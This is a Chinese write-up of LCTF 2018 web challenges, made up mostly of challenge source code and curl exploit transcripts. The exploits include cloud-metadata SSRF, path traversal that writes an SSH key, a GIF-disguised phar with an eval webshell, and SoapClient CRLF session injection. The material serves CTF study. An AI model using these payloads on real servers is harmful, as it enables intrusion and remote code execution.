Web Travel 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from flask import request, render_templatefrom config import create_appimport osimport urllibimport requestsimport uuidapp = create_app() @app.route('/upload/<filename>', methods = ['PUT']) def upload_file (filename) : name = request.cookies.get('name' ) pwd = request.cookies.get('pwd' ) if name != 'lctf' or pwd != str(uuid.getnode()): return "0" filename = urllib.unquote(filename) with open(os.path.join(app.config['UPLOAD_FOLDER' ], filename), 'w' ) as f: f.write(request.get_data(as_text = True )) return "1" return "0" @app.route('/', methods = ['GET']) def index () : url = request.args.get('url' , '' ) if url == '' : return render_template('index.html' ) if "http" != url[: 4 ]: return "hacker" try : response = requests.get(url, timeout = 10 ) response.encoding = 'utf-8' return response.text except : return "Something Error" @app.route('/source', methods = ['GET']) def get_source () : return open(__file__).read() if __name__ == '__main__' : app.run()
uuid.getnode()
uuid.getnode()其实就是mac地址。
可通过腾讯云查看实例元数据或得:
https://cloud.tencent.com/document/product/213/4934
1 2 3 4 5 6 7 8 ht@TIANJI:/mnt/d/ht-blog$ curl http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs 52:54:00:48:c8:73/ ht@TIANJI:/mnt/d/ht-blog$ python Python 2.7.12 (default, Dec 4 2017, 14:50:18) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. > >> int("" .join("52:54:00:48:c8:73" .split(":" )), 16) 90520735500403
上传文件 因为nginx
默认禁止了PUT
方法。可以使用X-HTTP-Method-Override:PUT
绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ht@TIANJI:/mnt/d/ht-blog$ curl -v -H "X-HTTP-Method-Override:PUT" -d "asd=asd" --cookie "name=lctf;pwd=90520735500403" http://118.25.150.86/upload/asd * Trying 118.25.150.86... * Connected to 118.25.150.86 (118.25.150.86) port 80 (#0) > POST /upload/asd HTTP/1.1 > Host: 118.25.150.86 > User-Agent: curl/7.47.0 > Accept: */* > Cookie: name=lctf;pwd=90520735500403 > X-HTTP-Method-Override:PUT > Content-Length: 7 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 7 out of 7 bytes < HTTP/1.1 200 OK < Server: nginx/1.14.0 (Ubuntu) < Date: Mon, 19 Nov 2018 12:02:56 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 1 < Connection: keep-alive < * Connection #0 to host 118.25.150.86 left intact 1 ## 可以看到上传已经成功
写公钥 向/home/lctf/.ssh/authorized_keys
文件中写入自己的公钥即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 ht@TIANJI:~/.ssh$ curl -v -H "X-HTTP-Method-Override:PUT" -d "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKk5RVImVENlFHcUeCeG0TFcywxxXKGKqZBD4o7skUlIKHQcDNUke1PdC+UsvGdD25r5tLoCAHCAnNqlIO5/O30y1dffn0GzSZlKGC8TL1qWat/WjLkbdfZNsrBd1GZG6QtSEfBFOCgcu+qIAFlTDqovELEgX5Itd+nMtuAhlrdK4m6PrBB4VPsMMxCmbHFNCnLbWQK0rWtHqHhhHi9LFckBXaOpYamR3cHFmMr3jWFf2DSid6D4xifM8XzgZkr8TSNPqnVpbDC3hqTsvWGvLu7W/dqKz1+zBJ+OMbtBudMBKMQTfGjUls7u9ak716Xlza8TY0VD4UFYxXFlZN8/SL ht@TIANJI" --cookie "name=lctf;pwd=90520735500403" http://118.25.150.86/upload/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fhome%252flctf%252f.ssh%252fauthorized_keys * Trying 118.25.150.86... * Connected to 118.25.150.86 (118.25.150.86) port 80 (#0) > POST /upload/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fhome%252flctf%252f.ssh%252fauthorized_keys HTTP/1.1 > Host: 118.25.150.86 > User-Agent: curl/7.47.0 > Accept: */* > Cookie: name=lctf;pwd =90520735500403 > X-HTTP-Method-Override:PUT > Content-Length: 390 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 390 out of 390 bytes < HTTP/1.1 200 OK < Server: nginx/1.14.0 (Ubuntu) < Date: Mon, 19 Nov 2018 12:20:56 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 1 < Connection: keep-alive < * Connection #0 to host 118.25.150.86 left intact 1ht@TIANJI:~/.ssh$ssh lctf@118.25.150.86 Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-29-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon Nov 19 20:21:00 CST 2018 System load: 0.0 Processes: 105 Usage of /: 5.5% of 49.15GB Users logged in: 1 Memory usage: 24% IP address for eth0: 172.17.0.3 Swap usage: 0% * Security certifications for Ubuntu! We now have FIPS, STIG, CC and a CIS Benchmark. - http://bit.ly/Security_Certification * Want to make a highly secure kiosk, smart display or touchscreen? Here's a step-by-step tutorial for a rainy weekend, or a startup. - https://bit.ly/secure-kiosk * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch Last login: Mon Nov 19 19:06:20 2018 from 120.77.219.21 lctf@web-f1sh:~$ ls lctf@web-f1sh:~$ cd ../ lctf@web-f1sh:/home$ ls lctf ubuntu lctf@web-f1sh:/home$ cd ubuntu/ lctf@web-f1sh:/home/ubuntu$ ls Travel.tar.gz
T4lk is cheap,show me the shell 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 <?php $SECRET = `../read_secret`; $SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]); $FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]); @mkdir($SANDBOX); @mkdir($FILEBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("md5", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); } class User { public $avatar; function __construct($path) { $this->avatar = $path; } } class K0rz3n_secret_flag { protected $file_path; function __destruct(){ if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){ die("Sorry Sorry Sorry"); } include_once($this->file_path); } } function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){ die("Bye"); } if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){ die("Bye Bye"); } $data = unserialize($data); if ( !isset($data->avatar) ){ die("Bye Bye Bye"); } return $data->avatar; } function upload($path) { if(isset($_GET['url'])){ if(preg_match('/^(http|https).*/i', $_GET['url'])){ $data = file_get_contents($_GET["url"] . "/avatar.gif"); if (substr($data, 0, 6) !== "GIF89a"){ die("Fuck off"); } file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); }else{ die("Hacker"); } }else{ die("Miss the URL~~"); } } function show($path) { if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) { $path = "/var/www"; } header("Content-Type: image/gif"); die(file_get_contents($path . "/avatar.gif")); } function check($path){ if(isset($_GET['c'])){ if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){ die("Hacker Hacker Hacker"); }else{ $file_path = $_GET['c']; list($width, $height, $type) = @getimagesize($file_path); die("Width is :" . $width." px<br>" . "Height is :" . $height." px<br>"); } }else{ list($width, $height, $type) = @getimagesize($path."/avatar.gif"); die("Width is :" . $width." px<br>" . "Height is :" . $height." px<br>"); } } function move($source_path,$dest_name){ global $FILEBOX; $dest_path = $FILEBOX . "/" . $dest_name; if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){ die("Hacker Hacker Hacker"); }else{ if(copy($source_path,$dest_path)){ die("Successful copy"); }else{ die("Copy failed"); } } } $mode = $_GET["m"]; if ($mode == "upload"){ upload(check_session()); } else if ($mode == "show"){ show(check_session()); } else if ($mode == "check"){ check(check_session()); } else if($mode == "move"){ move($_GET['source'],$_GET['dest']); } else{ highlight_file(__FILE__); } include("./comments.html");
上传文件 getimagesize($file_path)
可以触发反序列化
生成一个伪装成gif的phar文件上传即可。
1 2 3 4 5 6 7 8 9 10 <?php class K0rz3n_secret_flag { protected $file_path = '/var/www/data/dccb75e38fe3fc2c70fd169f263e6d37/avatar.gif'; } $a = new K0rz3n_secret_flag(); $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->setStub('GIF89a<?php echo 1;eval($_GET["a"]);?'.'><?php __HALT_COMPILER(); ?'.'>'); $phar->setMetadata($a); $phar->stopBuffering();
访问:
1 http://212.64.7.171/LCTF.php?m=check&c=compress.zlib://phar:///var/www/data/dccb75e38fe3fc2c70fd169f263e6d37/avatar.gif&a=phpinfo();
compress.zlib
用于绕过^phar
检测。
EZ oauth 简述 使用Oauth
登录,采用第三方TYPCN
,<https://accounts.typcn.com/>
注册登录
参考Google CTF 2016的题解,猜测它只判断includes('pwnhub.cn')
而不是equal('pwnhub.cn')
,因此搞个域名邮箱绕过邮箱验证。
后台发现有个两个接口,分别是/user/check
和/admin/auth
。后者没参数,前者的参数分别为domain
和email
,且domain
为隐藏参数。
猜测其为验证服务器,将其改为自己的服务器,得知服务器发送数据;再本地模拟一下,得知服务器返回信息。发现这里有个极度麻烦的sign签名验证,经过测试,其至少和request-id
和email
存在关联。因此,我们很难修改回包。因为没有任何可控数据,也无法进行哈希长度扩展攻击。另外,我们发现/admin/auth
也有一个隐藏的domain
参数,其除了请求API以外,发送的数据和接受的数据与/user/check
相同。
既然签名算法无法逆向,那只能进行大胆猜测了。我们不知道result
参数是否有在被签名的范围之内,如果它没有呢?
揭示了一个黄金原则:未将关键参数纳入签名范围内的签名 = 废纸
bestphp’s revenge 参考链接: https://www.anquanke.com/post/id/164569#h3-7
https://blog.spoock.com/2016/10/16/php-serialize-problem/
index.php:
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET[f],$_POST); session_start(); if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; } var_dump($_SESSION); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a);
flag.php:
1 2 3 4 5 6 7 <?php session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }
利用soap触发ssrf 1 2 3 4 5 6 <?php $a = new SoapClient(null,array(location'=>'http://example.com:2333','uri'=>'123')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a();
设置user_agent头来构造CRLF 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $target = "http://example.com:2333/"; $post_string = 'data=abc'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa); $c = unserialize($aaa); $c->a();
payload.php 1 2 3 4 5 6 7 1 <?php 2 $target = "http://127.0.0.1/best_lctf/flag.php"; 3 $attack = new SoapClient(null,array('location' => $target, 4 'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=a0 sdtk0pk3gcf2jovjskkcp0n6\r\n", 5 'uri' => "123")); 6 $payload = urlencode(serialize($attack)); 7 echo $payload;
将payload写入某个session5rtososkghp97ud5fgupgpk014
通过session_start将serialize_handler
设置为php_serialize
,同时将name设置为|<payload>
这样的格式,写入session5rtososkghp97ud5fgupgpk014
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 ht@TIANJI:/mnt/c/Users/HT/Desktop/lctf$ curl -v -d "serialize_handler=php_serialize" "http://192.168.21.143/best_lctf/index.php?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A35%3A%22http%3A%2F%2F127.0.0.1%2Fbest_lctf%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3Da0sdtk0pk3gcf2jovjskkcp0n6%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D" * Trying 192.168.21.143... * Connected to 192.168.21.143 (192.168.21.143) port 80 (#0) > POST /best_lctf/index.php?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A35%3A%22http%3A%2F%2F127.0.0.1%2Fbest_lctf%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3Da0sdtk0pk3gcf2jovjskkcp0n6%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1 > Host: 192.168.21.143 > User-Agent: curl/7.47.0 > Accept: */* > Content-Length: 31 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 31 out of 31 bytes < HTTP/1.1 200 OK < Date: Tue, 20 Nov 2018 03:40:43 GMT < Server: Apache/2.4.18 (Ubuntu) < Set-Cookie: PHPSESSID=5rtososkghp97ud5fgupgpk014; path=/ < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Vary: Accept-Encoding < Content-Length: 2910 < Content-Type: text/html; charset=UTF-8 < <code><span style="color: #000000"> <span style="color: #0000BB"><?php<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$b </span><span style="color: #007700">= </span><span style="color: #DD0000">'implode'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">call_user_func</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">f</span><span style="color: #007700">],</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">session_start</span><span style="color: #007700">();<br />if(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">])){<br /> </span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">] = </span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">];<br />}<br /></span><span style="color: #0000BB">var_dump</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$a </span><span style="color: #007700">= array(</span><span style="color: #0000BB">reset</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">),</span><span style="color: #DD0000">'welcome_to_the_lctf2018'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">var_dump</span><span style="color: #007700">(</span><span style="color: #0000BB">$a</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">call_user_func</span><span style="color: #007700">(</span><span style="color: #0000BB">$b</span><span style="color: #007700">,</span><span style="color: #0000BB">$a</span><span style="color: #007700">);<br /></span> </span> </code> var_dump($ _SESSION); array(1) { ["name"]=> string(236) "|O:10:"SoapClient":5:{s:3:"uri";s:3:"123";s:8:"location";s:35:"http://127.0.0.1/best_lctf/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:56:"N0rth3ty Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6 ";s:13:"_soap_version";i:1;}" } $ a = array(reset($arrayName ), 'welcome_to_the_lctf' ); var_dump($ a); array(2) { [0]=> string(236) "|O:10:"SoapClient":5:{s:3:"uri";s:3:"123";s:8:"location";s:35:"http://127.0.0.1/best_lctf/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:56:"N0rth3ty Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6 ";s:13:"_soap_version";i:1;}" [1]=> string(23) "welcome_to_the_lctf2018" } * Connection #0 to host 192.168.21.143 left intact
php_serialize引擎反序列化 php序列化引擎,而不同引擎存储的方式也不同
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
session.serialize_handler定义用来序列化/解序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize )、 PHP 内部格式 (名为 php 及 php_binary ) 和 WDDX (名为 wddx )。 如果 PHP 编译时加入了 WDDX 支持 ,则只能用 WDDX。 自 PHP 5.5.4 起可以使用 php_serialize 。 php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and ! ) 。 使用 php_serialize 避免脚本退出时,数字及特殊字符索引导致出错。 默认使用 php 。
php引擎去解php_serialize得到的序列化会出现如下问题:
php引擎会以|作为作为key和value的分隔符,我们再传入内容的时候,比如传入
1 2 3 $_SESSION[‘name’] = '|sky' 结果: name|s:3:”sky”
那么使用php_serialize引擎时可以得到序列化内容
1 a:1:{s:4:”name”;s:4:”|sky”;}
然后用php引擎反序列化时,|被当做分隔符,于是
1 a:1:{s:4:”name”;s:4:” 被当做key sky被当做value进行反序列化
构造如下payload:
1 $_SESSION[‘name’] = |序列化内容
首先通过extract
变量覆盖,将b设置为call_user_func
。
同时,使用php_serialize引擎反序列化之后得到如下数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 var_dump($_SESSION); 结果: array(1) { ["a:1:{s:4:"name";s:236:""]=> object(SoapClient)#1 (5) { ["uri"]=> string(3) "123" ["location"]=> string(35) "http://127.0.0.1/best_lctf/flag.php" ["_stream_context"]=> int(0) ["_user_agent"]=> string(56) "N0rth3ty Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6 " ["_soap_version"]=> int(1) } } $a = array(reset($arrayName), 'welcome_to_the_lctf'); var_dump($a); 结果: array(2) { [0]=> object(SoapClient)#1 (5) { ["uri"]=> string(3) "123" ["location"]=> string(35) "http://127.0.0.1/best_lctf/flag.php" ["_stream_context"]=> int(0) ["_user_agent"]=> string(56) "N0rth3ty Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6 " ["_soap_version"]=> int(1) } [1]=> string(23) "welcome_to_the_lctf2018" }
通过SoapClient调用不存在的方法,触发反序列化. 1 2 3 4 <?php $arrayName = array('name' => 'Soapclient'); $a = array(reset($arrayName), 'welcome_to_the_lctf'); call_user_func('call_user_func', $a);
结果:
1 2 qianfa@qianfa:/var/www/html/best_lctf$ php test.php PHP Warning: call_user_func() expects parameter 1 to be a valid callback, class 'SoapClient' does not have a method 'welcome_to_the_lctf' in /var/www/html/best_lctf/test.php on line 4
getFlag: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 ht@TIANJI:/mnt/c/Users/HT/Desktop/lctf$ curl -v -d "b=call_user_func" -b "PHPSESSID=5rtososkghp97ud5fgupgpk014" "http://192.168.21.143/best_lctf/index.php?f=extract" * Trying 192.168.21.143... * Connected to 192.168.21.143 (192.168.21.143) port 80 (#0) > POST /best_lctf/index.php?f=extract HTTP/1.1 > Host: 192.168.21.143 > User-Agent: curl/7.47.0 > Accept: */* > Cookie: PHPSESSID=5rtososkghp97ud5fgupgpk014 > Content-Length: 16 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 16 out of 16 bytes * HTTP 1.0, assume close after body < HTTP/1.0 500 Internal Server Error < Date: Tue, 20 Nov 2018 03:41:06 GMT < Server: Apache/2.4.18 (Ubuntu) < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Content-Length: 3037 < Connection: close < Content-Type: text/html; charset=UTF-8 < <code><span style="color: #000000"> <span style="color: #0000BB"><?php<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$b </span><span style="color: #007700">= </span><span style="color: #DD0000">'implode'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">call_user_func</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">f</span><span style="color: #007700">],</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">session_start</span><span style="color: #007700">();<br />if(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">])){<br /> </span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">] = </span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">];<br />}<br /></span><span style="color: #0000BB">var_dump</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$a </span><span style="color: #007700">= array(</span><span style="color: #0000BB">reset</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">),</span><span style="color: #DD0000">'welcome_to_the_lctf2018'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">var_dump</span><span style="color: #007700">(</span><span style="color: #0000BB">$a</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">call_user_func</span><span style="color: #007700">(</span><span style="color: #0000BB">$b</span><span style="color: #007700">,</span><span style="color: #0000BB">$a</span><span style="color: #007700">);<br /></span> </span> </code>array(1) { ["a:1:{s:4:"name";s:236:""]=> object(SoapClient)#1 (5) { ["uri"]=> string(3) "123" ["location"]=> string(35) "http://127.0.0.1/best_lctf/flag.php" ["_stream_context"]=> int(0) ["_user_agent"]=> string(56) "N0rth3ty Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6 " ["_soap_version"]=> int(1) } } array(2) { [0]=> object(SoapClient)#1 (5) { ["uri"]=> string(3) "123" ["location"]=> string(35) "http://127.0.0.1/best_lctf/flag.php" ["_stream_context"]=> int(0) ["_user_agent"]=> string(56) "N0rth3ty Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6 " ["_soap_version"]=> int(1) } [1]=> string(23) "welcome_to_the_lctf2018" } * Closing connection 0
###
L playground2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import re import os http_schema = re.compile(r"https?") url_parser = re.compile(r"(\w+)://([\w\-@\.:]+)/?([\w/_\-@&\?\.=%()]+)?(#[\w\-@&_\?()/%]+)?") base_dir = os.path.dirname(os.path.abspath(__file__)) sandbox_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sandbox") def parse_file(path): filename = os.path.join(sandbox_dir, path) if "./" in filename or ".." in filename: return "invalid content in url" if not filename.startswith(base_dir): return "url have to start with %s" % base_dir if filename.endswith("py") or "flag" in filename: return "invalid content in filename" if os.path.isdir(filename): file_list = os.listdir(filename) return ", ".join(file_list) elif os.path.isfile(filename): with open(filename, "rb") as f: content = f.read() return content else: return "can't find file" def parse(url): fragments = url_parser.findall(url) if len(fragments) != 1 or len(fragments[0]) != 4: return("invalid url") schema = fragments[0][0] host = fragments[0][1] path = fragments[0][2] if http_schema.match(schema): return "It's a valid http url" elif schema == "file": if host != "sandbox": return "wrong file path" return parse_file(path) else: return "unknown schema" @app.route('/sandbox') def render_static(): url = request.args.get("url") try: if url is None or url == "": content = "no url input" else: content = parse(url) resp = make_response(content) except Exception: resp = make_response("url error") resp.mimetype = "text/plain" return resp
os.path.join
特性:通过os.path.join特性, 实现读取/var/www/project/playground目录/文件
1 2 3 4 5 6 ht@TIANJI:~/.ssh$ python Python 2.7.12 (default, Dec 4 2017, 14:50:18) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> os.path.join('/etc', '/passwd') '/passwd'
下载文件 1 http://212.64.7.239/sandbox?url=file://sandbox//var/www/project/playground/__pycache__&token=LRXfAXOKKIiR6y0hkqZ9VmbiO5Pkguhn09OVvwF/S5jZ9nJ4w0abYS5ADGreQd9mENGxPUQ4OLrtPOh7vuXCXBqQ/BHAyiwWONd01jW0ONdLSyLOI/fy3sr+lIvGei5ue9wd/XqM9WawN26tpaZ372nitSp6ZONiO1VGFtgwdmpgwMvUlZPgzj5vcgGRSNFj
main.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.route('/') def index(): user = request.cookies.get('user', '') try: username = session_decode(user) except Exception: username = get_username() content = escape(username) else: if username == 'admin': content = escape(FLAG) else: content = escape(username) resp = make_response(render_template('main.html', content=content)) return resp
hash.py的MDA:
1 2 3 4 5 6 7 8 9 class MDA: def insert(self, inBuf): self.init() self.update(inBuf) def grouping(self, inBufGroup): hexdigest_group = '' for inBuf in inBufGroup: self.insert(inBuf) hexdigest_group += self.hexdigest()
grouping
把 inBufGroup
中的每个字符都单独计算hash,因此前后字符对应的hash是无关联的。所以,找到admin
对应的hash,即找 a, d, m, i, n 每个字符对应的hash。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 aYKp9 b962d95efd252479 e630b0372a4c511f 8c6a8874d01df770 414ec94d852dac00 0c61993750547727 KdA0k 8c6a8874d01df770 84407154c863ef36 af028d5ff3351a09 ee2d222f32215974 85281413c94bf01e FemI5 0c13310650467719 4c38032c903bb70e e80346042c47531a 2575a34f6948901b 6a45a255ae48d51b JeeiR c451045c08252f78 4c38032c903bb70e 4c38032c903bb70e 6e1beb0db216d969 6b042d0caf7bd64e 85K0n 4428201f883baf0e 6a45a255ae48d51b 8c6a8874d01df770 ee2d222f32215974 b020cd1cf4031b57 MFSG22LO.b962d95efd25247984407154c863ef36e80346042c47531a6e1beb0db216d969b020cd1cf4031b57
sh0w m3 the sh31l 4ga1n 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 <?php $SECRET = `../read_secret`; $SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]); $FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]); @mkdir($SANDBOX); @mkdir($FILEBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("md5", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); } class User { public $avatar; function __construct($path) { $this->avatar = $path; } } class K0rz3n_secret_flag { protected $file_path; function __destruct(){ if(preg_match('/(log|etc|session|proc|data|read_secret|history|class|\.\.)/i', $this->file_path)){ die("Sorry Sorry Sorry"); } include_once($this->file_path); } } function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){ die("Bye"); } if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){ die("Bye Bye"); } $data = unserialize($data); if ( !isset($data->avatar) ){ die("Bye Bye Bye"); } return $data->avatar; } function upload($path) { if(isset($_GET['url'])){ if(preg_match('/^(http|https).*/i', $_GET['url'])){ $data = file_get_contents($_GET["url"] . "/avatar.gif"); if (substr($data, 0, 6) !== "GIF89a"){ die("Fuck off"); } file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); }else{ die("Hacker"); } }else{ die("Miss the URL~~"); } } 